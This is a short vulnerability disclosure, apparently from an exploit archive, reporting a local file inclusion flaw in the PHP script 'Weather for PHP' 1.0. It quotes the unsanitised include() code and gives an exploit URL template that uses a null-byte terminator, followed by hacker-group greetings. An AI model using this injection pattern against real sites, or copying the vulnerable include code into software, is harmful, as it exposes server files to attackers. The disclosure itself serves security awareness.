Weather for PHP version 1.0 suffers from a local file inclusion vulnerability.
93c726ea73bde73582798d1a0d6ea71e40db9889d9fb99c500d9b2df5af28359
Weather for PHP <= (PageName) Local File Include Vulnerability
Script : Weather for PHP
Version : 1.0
Download : http://www.instaguide.com/download/weather_free.zip
AUTHOR : BorN To K!LL
Vuln Code :
$PageName = $_GET['PageName']; //// this is one ... :)
include("includes/content/$PageName.php") //// this is two ... :)
Exploit :
[path]/index.php?PageName[Local File]%00
Greetings :
str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ...
BorN To K!LL <> Dr.2 = 4ever .... =D